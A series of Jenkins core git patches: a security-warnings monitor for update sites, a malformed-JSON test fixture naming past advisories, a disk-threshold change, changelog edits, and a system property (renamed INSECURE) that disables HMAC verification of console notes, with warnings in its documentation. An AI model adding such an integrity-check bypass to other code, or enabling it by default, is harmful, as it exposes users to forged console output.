                                    diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index e7cd25852c..63c161534c 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -34,3 +34,6 @@ depCoreWarning=\ Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ and in turn loading this plugin will fail. +securityWarning=\ + Warning: This plugin version may not be safe to use. Please review the following security notices: + diff --git a/core/src/main/resources/jenkins/security/Messages.properties b/core/src/main/resources/jenkins/security/Messages.properties index e09dca3e79..f0a98fb4a2 100644 --- a/core/src/main/resources/jenkins/security/Messages.properties +++ b/core/src/main/resources/jenkins/security/Messages.properties @@ -24,4 +24,5 @@ ApiTokenProperty.DisplayName=API Token ApiTokenProperty.ChangeToken.TokenIsHidden=Token is hidden ApiTokenProperty.ChangeToken.Success=
                                    Updated. See the new token in the field above
                                    ApiTokenProperty.ChangeToken.SuccessHidden=
                                    Updated. You need to login as the user to see the token
                                    -RekeySecretAdminMonitor.DisplayName=Re-keying \ No newline at end of file +RekeySecretAdminMonitor.DisplayName=Re-keying +UpdateSiteWarningsMonitor.DisplayName=Update Site Warnings diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy new file mode 100644 index 0000000000..ac82bf1891 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsConfiguration + +f = namespace(lib.FormTagLib) +st = namespace("jelly:stapler") + +st.adjunct(includes: "jenkins.security.UpdateSiteWarningsConfiguration.style") + +def printEntry(warning, title, checked) { + f.block { + f.checkbox(name: warning.id, + title: title, + checked: checked, + class: 'hideWarnings'); + div(class: "setting-description") { + a(warning.url, href: warning.url) + } + } +} + +f.section(title:_("Hidden security warnings")) { + + f.advanced(title: _("Security warnings"), align:"left") { + f.block { + text(_("blurb")) + } + f.entry(title: _("Security warnings"), + help: '/descriptorByName/UpdateSiteWarningsConfiguration/help') { + table(width:"100%") { + + descriptor.applicableWarnings.each { warning -> + if (warning.type == hudson.model.UpdateSite.Warning.Type.CORE) { + printEntry(warning, + _("warning.core", warning.message), + !descriptor.isIgnored(warning)) + } + else if (warning.type == hudson.model.UpdateSite.Warning.Type.PLUGIN) { + def plugin = descriptor.getPlugin(warning) + printEntry(warning, + _("warning.plugin", plugin.displayName, warning.message), + !descriptor.isIgnored(warning)) + } + } + } + } + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties new file mode 100644 index 0000000000..333445cd3f --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties @@ -0,0 +1,27 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +warning.core = Jenkins core: {0} +warning.plugin = {0}: {1} + +blurb = This section allows you to disable warnings published on the update site. \ + Checked warnings are visible (the default), unchecked warnings are hidden. diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html new file mode 100644 index 0000000000..1cb7b1df5d --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html @@ -0,0 +1,14 @@ +

                                    + This list contains all warnings relevant to currently installed components published by the configured update sites. + These are typically security-related. + Warnings that have been published but are not relevant to currently installed components (either because the affected component isn't installed, or an unaffected version is installed) are not shown here. +

                                    +

                                    + Checked entries (the default) are active, i.e. they're shown to administrators in an administrative monitor. + Entries can be unchecked to hide them. + This can be useful if you've evaluated a specific warning and are confident it does not apply to your environment or configuration, and continued use of the specified component does not constitute a security problem. +

                                    +

                                    + Please note that only specific warnings can be disabled; it is not possible to disable all warnings about a certain component. + If you wish to disable the display of warnings entirely, then you can disable the administrative monitor in Configure System. +

                                    diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css new file mode 100644 index 0000000000..ff1dd9bb5e --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css @@ -0,0 +1,4 @@ +.hideWarnings:not(:checked) + label { + color: grey; + text-decoration: line-through; +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy new file mode 100644 index 0000000000..09e9bfe161 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy @@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsMonitor + +def f = namespace(lib.FormTagLib) + +def listWarnings(warnings) { + warnings.each { warning -> + li { + a(warning.message, href: warning.url) + } + } +} + +def coreWarnings = my.activeCoreWarnings +def pluginWarnings = my.activePluginWarningsByPlugin + +div(class: "error") { + text(_("blurb")) + ul { + if (!coreWarnings.isEmpty()) { + li { + text(_("coreTitle", jenkins.model.Jenkins.version)) + ul { + listWarnings(coreWarnings) + } + } + } + + if (!pluginWarnings.isEmpty()) { + li { + pluginWarnings.each { plugin, warnings -> + a(_("pluginTitle", plugin.displayName, plugin.version), href: plugin.url) + + ul { + listWarnings(warnings) + } + } + } + } + } + + if (my.hasApplicableHiddenWarnings()) { + text(_("more")) + } +} + +form(method: "post", action: "${rootURL}/${it.url}/forward") { + div { + if (!pluginWarnings.isEmpty()) { + f.submit(name: 'fix', value: _("pluginManager.link")) + } + f.submit(name: 'configure', value: _("configureSecurity.link")) + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties new file mode 100644 index 0000000000..35d33182f2 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties @@ -0,0 +1,31 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +pluginTitle = {0} {1}: +coreTitle = Jenkins {0} core and libraries: + +blurb = Warnings have been published for the following currently installed components: +more = Additional warnings are hidden due to the current security configuration. + + +pluginManager.link = Go to plugin manager +configureSecurity.link = Configure which of these warnings are shown diff --git a/test/src/test/java/hudson/model/UpdateSiteTest.java b/test/src/test/java/hudson/model/UpdateSiteTest.java index 8e22d43f76..8e49e20f2d 100644 --- a/test/src/test/java/hudson/model/UpdateSiteTest.java +++ b/test/src/test/java/hudson/model/UpdateSiteTest.java @@ -33,6 +33,7 @@ import java.io.IOException; import java.net.URISyntaxException; import java.net.URL; import java.util.Arrays; +import java.util.Collections; import java.util.HashSet; import javax.servlet.ServletException; @@ -41,6 +42,8 @@ import javax.servlet.http.HttpServletResponse; import static org.junit.Assert.*; +import jenkins.security.UpdateSiteWarningsConfiguration; +import jenkins.security.UpdateSiteWarningsMonitor; import org.apache.commons.io.FileUtils; import org.eclipse.jetty.server.HttpConnection; import org.eclipse.jetty.server.Request; @@ -52,6 +55,7 @@ import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class UpdateSiteTest { @@ -127,5 +131,24 @@ public class UpdateSiteTest { assertEquals(FormValidation.ok(), us.updateDirectly(/* TODO the certificate is now expired, and downloading a fresh copy did not seem to help */false).get()); assertNotNull(us.getPlugin("AdaptivePlugin")); } - + + @Test public void lackOfDataDoesNotFailWarningsCode() throws Exception { + assertNull("plugin data is not present", j.jenkins.getUpdateCenter().getSite("default").getData()); + + // nothing breaking? + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActivePluginWarningsByPlugin(); + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActiveCoreWarnings(); + j.jenkins.getExtensionList(UpdateSiteWarningsConfiguration.class).get(0).getAllWarnings(); + } + + @Test public void incompleteWarningsJson() throws Exception { + PersistedList sites = j.jenkins.getUpdateCenter().getSites(); + sites.clear(); + URL url = new URL(baseUrl, "/plugins/warnings-update-center-malformed.json"); + UpdateSite site = new UpdateSite(UpdateCenter.ID_DEFAULT, url.toString()); + sites.add(site); + assertEquals(FormValidation.ok(), site.updateDirectly(false).get()); + assertEquals("number of warnings", 7, site.getData().getWarnings().size()); + assertNotEquals("plugin data is present", Collections.emptyMap(), site.getData().plugins); + } } diff --git a/test/src/test/resources/plugins/warnings-update-center-malformed.json b/test/src/test/resources/plugins/warnings-update-center-malformed.json new file mode 100644 index 0000000000..ba99e7aa55 --- /dev/null +++ b/test/src/test/resources/plugins/warnings-update-center-malformed.json @@ -0,0 +1,264 @@ +{ + "connectionCheckUrl": "http://www.google.com/", + "core": { + "buildDate": "Dec 18, 2016", + "name": "core", + "sha1": "x4rDgtNYm9l7zJ16RVuxMRgGoQE=", + "url": "http://updates.jenkins-ci.org/download/war/2.37/jenkins.war", + "version": "2.37" + }, + "id": "jenkins40494", + "plugins": { + "display-url-api": { + "buildDate": "Sep 22, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.3" + } + ], + "developers": [ + { + "developerId": "jdumay", + "email": "jdumay@cloudbees.com", + "name": "James Dumay" + } + ], + "excerpt": "\\\\ Provides the DisplayURLProvider extension point to provide alternate URLs for use in notifications. URLs can be requested/extended for these UI locations: * Root page. * Job. * Run. * Run changes. * Test result. ", + "gav": "org.jenkins-ci.plugins:display-url-api:0.5", + "labels": [], + "name": "display-url-api", + "previousTimestamp": "2016-09-22T09:35:08.00Z", + "previousVersion": "0.4", + "releaseTimestamp": "2016-09-22T10:42:00.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "QEykyLSFuZTnFyHrzZEOgzSsYcU=", + "title": "Display URL API", + "url": "http://updates.jenkins-ci.org/download/plugins/display-url-api/0.5/display-url-api.hpi", + "version": "0.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Display+URL+API+Plugin" + }, + "junit": { + "buildDate": "Oct 17, 2016", + "dependencies": [ + { + "name": "structs", + "optional": false, + "version": "1.2" + } + ], + "developers": [ + { + "developerId": "ogondza" + } + ], + "excerpt": "Allows JUnit-format test results to be published.", + "gav": "org.jenkins-ci.plugins:junit:1.19", + "labels": [ + "report" + ], + "name": "junit", + "previousTimestamp": "2016-08-08T15:10:34.00Z", + "previousVersion": "1.18", + "releaseTimestamp": "2016-10-17T12:15:20.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "f3jcYlxz6/8PK43W3KL5LFtz7ro=", + "title": "JUnit Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/junit/1.19/junit.hpi", + "version": "1.19", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin" + }, + "mailer": { + "buildDate": "Sep 04, 2016", + "dependencies": [ + { + "name": "display-url-api", + "optional": false, + "version": "0.2" + } + ], + "developers": [ + { + "developerId": "andresrc" + } + ], + "excerpt": "This plugin allows you to configure email notifications for build results. This is a break-out of the original core based email component. ", + "gav": "org.jenkins-ci.plugins:mailer:1.18", + "labels": [], + "name": "mailer", + "previousTimestamp": "2016-04-20T08:46:22.00Z", + "previousVersion": "1.17", + "releaseTimestamp": "2016-09-04T09:14:16.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "poG1EauZFM5lZE5hCBx5mqr/mMA=", + "title": "Jenkins Mailer Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/mailer/1.18/mailer.hpi", + "version": "1.18", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Mailer" + }, + "extra-columns": { + "buildDate": "Apr 11, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.11" + } + ], + "developers": [ + { + "developerId": "fredg", + "name": "Fred G." + } + ], + "excerpt": "This is a general listview-column plugin that currently contains the following columns: Test Result, Configure Project button, Disable/Enable Project button, Project Description, Build Description, SCM Type, Last/Current Build Console output, Job Type, Build Duration, Build Parameters.", + "gav": "org.jenkins-ci.plugins:extra-columns:1.17", + "labels": [ + "listview-column" + ], + "name": "extra-columns", + "previousTimestamp": "2015-12-11T01:18:48.00Z", + "previousVersion": "1.16", + "releaseTimestamp": "2016-04-11T22:36:22.00Z", + "requiredCore": "1.475", + "scm": "github.com", + "sha1": "8y9Y91n7/Aw47G3pCxzJzTd94J0=", + "title": "Extra Columns Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/extra-columns/1.17/extra-columns.hpi", + "version": "1.17", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Extra+Columns+Plugin" + }, + "structs": { + "buildDate": "Aug 30, 2016", + "dependencies": [], + "developers": [ + { + "developerId": "jglick" + } + ], + "excerpt": "Library plugin for DSL plugins that need concise names for Jenkins extensions", + "gav": "org.jenkins-ci.plugins:structs:1.5", + "labels": [], + "name": "structs", + "previousTimestamp": "2016-08-26T14:11:44.00Z", + "previousVersion": "1.4", + "releaseTimestamp": "2016-08-30T14:10:10.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "fK+F0PEfSS//DOqmNJvX2rQYabo=", + "title": "Structs Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/structs/1.5/structs.hpi", + "version": "1.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Structs+plugin" + } + }, + "warnings": [ + { + "id": "SECURITY-208", + "type": "plugin", + "name": "google-login", + "message": "Authentication bypass vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-10-12", + "versions": [ + { + "lastVersion": "1.1", + "pattern": "1[.][01](|[.-].*)" + } + ] + }, + { + "id": "SECURITY-136", + "type": "plugin", + "name": "extra-columns", + "message": "Stored XSS vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.16", + "pattern": "1[.](\\d|1[0123456])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-258", + "type": "plugin", + "name": "extra-columns", + "message": "Groovy sandbox protection incomplete", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.18", + "pattern": "1[.](\\d|1[012345678])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-85", + "type": "plugin", + "name": "tap", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.24", + "pattern": "1[.](\\d|1\\d|2[01234])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-278", + "type": "plugin", + "name": "image-gallery", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.3", + "pattern": "(0[.].*|1[.][0123])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-290", + "type": "plugin", + "name": "build-failure-analyzer", + "message": "Cross-site scripting vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.15.0", + "pattern": "1[.](\\d|1[012345])[.]\\d+(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-305", + "type": "plugin", + "versions": [ + { + "lastVersion": "1.7.24", + "pattern": "1[.]7[.](\\d(|[.-].*)|24)" + } + ] + }, + { + "id": "SECURITY-309", + "type": "plugin", + "name": "cucumber-reports", + "message": "Plugin disables Content-Security-Policy for files served by Jenkins", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-07-27", + "versions": [ + { + "firstVersion": "1.3.0", + "lastVersion": "2.5.1", + "pattern": "(1[.][34]|2[.][012345])(|[.-].*)" + } + ] + } + ], + "updateCenterVersion": "1" +} \ No newline at end of file diff --git a/war/src/main/webapp/css/style.css b/war/src/main/webapp/css/style.css index 9491f28afb..3f2812f2cb 100644 --- a/war/src/main/webapp/css/style.css +++ b/war/src/main/webapp/css/style.css @@ -1580,6 +1580,13 @@ TEXTAREA.rich-editor { color: #FF0000; } +#plugins .securityWarning { + white-space: normal; + margin-top: 0.5em; + padding-left: 2em; + color: #FF0000; +} + /* ========================= progress bar ========================= */ table.progress-bar { -- GitLab From 7b51d56a7b5ad9854993c4e8c65d112c5f4e0b7c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 22:29:52 +0100 Subject: [PATCH 507/712] [FIX JENKINS-40749] Set default disk free threshold to 10GB (#2695) --- .../java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java index 4e16de8c99..3d842e1d79 100644 --- a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java +++ b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java @@ -64,10 +64,10 @@ public class HudsonHomeDiskUsageChecker extends PeriodicWork { private static final Logger LOGGER = Logger.getLogger(HudsonHomeDiskUsageChecker.class.getName()); /** - * Gets the minimum amount of space to check for, with a default of 1GB + * Gets the minimum amount of space to check for, with a default of 10GB */ public static long FREE_SPACE_THRESHOLD = Long.getLong( HudsonHomeDiskUsageChecker.class.getName() + ".freeSpaceThreshold", - 1024L*1024*1024); + 1024L*1024*1024*10); } -- GitLab From dd99a82c9e6e651d7f220bb95fd668de346fdfdc Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 8 Jan 2017 23:16:24 +0100 Subject: [PATCH 508/712] Changelog: Noting #2692, #2703, #2680, and #2695 towards 2.40 --- changelog.html | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/changelog.html b/changelog.html index 2bd4b8e7bf..90c172fe29 100644 --- a/changelog.html +++ b/changelog.html @@ -56,10 +56,21 @@ Upcoming changes

                                    What's new in 2.39 (2017/01/02)

                                    • -- GitLab From fb7a888a04048386fcf6f3d6c6eeaa61673bca8f Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 9 Jan 2017 06:13:04 +0100 Subject: [PATCH 513/712] We changed a URL and a label, not worth mentioning --- changelog.html | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index e2f3d69478..7b4dc94ef5 100644 --- a/changelog.html +++ b/changelog.html @@ -88,11 +88,7 @@ Upcoming changes (issue 38175)
                                    • Require POST in the Reload from disk management link. - (pull 2692) -
                                    • - Internal: improvements around the built-in Securing Jenkins pages. - (pull 2702 and - pull 2699) + (pull 2692)

                                    What's new in 2.39 (2017/01/02)

                                      -- GitLab From d2388f533903926a10e0637f3fa20c40dbe81791 Mon Sep 17 00:00:00 2001 From: Francisco Capdevila Date: Mon, 9 Jan 2017 13:52:16 -0300 Subject: [PATCH 514/712] Fix Typo --- .../security/HudsonPrivateSecurityRealm/index_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties index 5d03bc6eaf..8c5b73e2c0 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=\ - Estos usuarios pueden entrar en Jenkins. Este es un subconjunto de esta list, \ + Estos usuarios pueden entrar en Jenkins. Este es un subconjunto de esta lista, \ que tambien incluyen usuarios creados autom\u00e1ticamente porque hayan hecho ''commits'' a proyectos. \ Los usuarios creados autom\u00e1ticamente no tienen acceso directo a Jenkins. Name=Nombre -- GitLab From 1ce5df04e5c65e164f56755f3470cb445978c7d2 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:05:28 -0500 Subject: [PATCH 515/712] @daniel-beck requests a kill switch for ConsoleNote.MAC. --- core/src/main/java/hudson/console/ConsoleNote.java | 10 +++++++++- .../java/hudson/console/AnnotatedLargeTextTest.java | 11 ++++++++++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 4c3785c95a..dc90310b4c 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -123,6 +123,12 @@ import jenkins.security.HMACConfidentialKey; public abstract class ConsoleNote implements Serializable, Describable>, ExtensionPoint { private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ConsoleNote.class, "MAC"); + /** + * Allows historical build records with unsigned console notes to be displayed, at the expense of any security. + * Disables checking of {@link #MAC} so do not set this flag unless you completely trust all users capable of affecting build output, + * which in practice means that all SCM committers as well as all Jenkins users with any non-read-only access are consider administrators. + */ + static /* nonfinal for tests & script console */ boolean LENIENT_MAC = Boolean.getBoolean(ConsoleNote.class.getName() + ".LENIENT_MAC"); // TODO 2.x use SystemProperties /** * When the line of a console output that this annotation is attached is read by someone, @@ -240,7 +246,9 @@ public abstract class ConsoleNote implements Serializable, Describable")); + } finally { + ConsoleNote.LENIENT_MAC = false; + } } @Issue("SECURITY-382") -- GitLab From cc6539285cfe803bcda4645a3b4efdb3c5712247 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:12:26 -0500 Subject: [PATCH 516/712] @daniel-beck suggests a scarier name. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- core/src/test/java/hudson/console/AnnotatedLargeTextTest.java | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index dc90310b4c..eeac73fd8f 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -128,7 +128,7 @@ public abstract class ConsoleNote implements Serializable, Describable")); } finally { - ConsoleNote.LENIENT_MAC = false; + ConsoleNote.INSECURE = false; } } -- GitLab From b93e2e1751f81970e898e37a2fed7b78f2bafa71 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:15:44 -0500 Subject: [PATCH 517/712] Oops, forgot to rename a usage. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index eeac73fd8f..f44b7b6db6 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -246,7 +246,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 11 Jan 2017 00:51:26 +0100 Subject: [PATCH 518/712] [FIX JENKINS-40894] Restore unstableReturn in readResolve --- core/src/main/java/hudson/tasks/BatchFile.java | 4 +++- core/src/main/java/hudson/tasks/Shell.java | 4 +++- .../test/java/hudson/tasks/BatchFileTest.java | 11 +++++++++++ test/src/test/java/hudson/tasks/ShellTest.java | 10 ++++++++++ .../canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1056 bytes .../ShellTest/canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1059 bytes 6 files changed, 27 insertions(+), 2 deletions(-) create mode 100644 test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip create mode 100644 test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 675c316eeb..b6bf2bb74c 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -81,7 +81,9 @@ public class BatchFile extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new BatchFile(command); + BatchFile batch = new BatchFile(command); + batch.setUnstableReturn(unstableReturn); + return batch; } @Extension @Symbol("batchFile") diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index 1986e2dea7..4360f4ce94 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -125,7 +125,9 @@ public class Shell extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new Shell(command); + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; } @Extension @Symbol("shell") diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 93673d6c95..2251bb5089 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,5 +1,6 @@ package hudson.tasks; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; @@ -16,6 +17,7 @@ import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; import hudson.model.FreeStyleProject; +import 